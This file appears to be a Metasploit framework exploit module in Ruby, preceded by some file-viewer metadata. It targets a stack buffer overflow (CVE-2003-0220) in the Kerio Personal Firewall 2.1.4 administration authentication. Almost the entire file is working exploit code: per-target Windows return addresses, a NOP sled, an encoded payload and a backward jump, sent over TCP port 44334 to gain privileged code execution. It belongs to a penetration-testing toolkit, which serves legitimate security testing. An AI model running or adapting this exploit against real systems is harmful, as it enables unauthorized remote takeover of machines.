69 lines
1.8 KiB
Ruby
69 lines
1.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Kerio Personal Firewall
|
|
administration authentication process. This module has only been tested
|
|
against Kerio Personal Firewall 2 (2.1.4).
|
|
},
|
|
'Author' => 'MC',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2003-0220'],
|
|
['OSVDB', '6294'],
|
|
['BID', '7180']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00",
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
|
|
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
|
|
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Apr 28 2003',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(44334)
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sploit = make_nops(4468) + payload.encoded
|
|
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
|
|
|
|
sock.put(sploit)
|
|
sock.get_once(-1, 3)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|